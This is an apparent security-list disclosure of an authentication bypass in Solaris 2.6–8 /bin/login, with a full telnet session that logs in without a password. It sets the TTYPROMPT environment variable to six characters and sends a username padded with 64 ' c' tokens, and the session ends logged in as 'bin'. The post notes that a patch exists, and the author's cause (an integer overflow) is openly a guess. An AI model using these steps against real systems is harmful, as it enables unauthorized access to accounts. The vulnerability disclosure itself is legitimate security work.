Hello,

  Solaris 2.6, 7, and 8 /bin/login has a vulnerability involving the
environment variable TTYPROMPT. This vulnerability has already been
reported to BugTraq and a patch has been released by Sun.
  However, a very simple exploit, which does not require any code to be
compiled by an attacker, exists. The exploit requires the attacker to
simply define the environment variable TTYPROMPT to a 6 character string,
inside telnet. I believe this overflows an integer inside login, which
specifies whether or not the user has been authenticated (just a guess).
Once connected to the remote host, you must type the username, followed by
64 " c"s, and a literal "\n". You will then be logged in as the user
without any password authentication. This should work with any account
except root (unless remote root login is allowed).

Example:

coma% telnet
telnet> environ define TTYPROMPT abcdef
telnet> o localhost

SunOS 5.8

bin c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c
c c c c c c c c c c c c c c c c c c c c c c c c c c c c c\n
Last login: whenever
$ whoami
bin

Jonathan Stuart
Network Security Engineer
Computer Consulting Partners, Ltd.
E-mail: jons@ccpartnersltd.com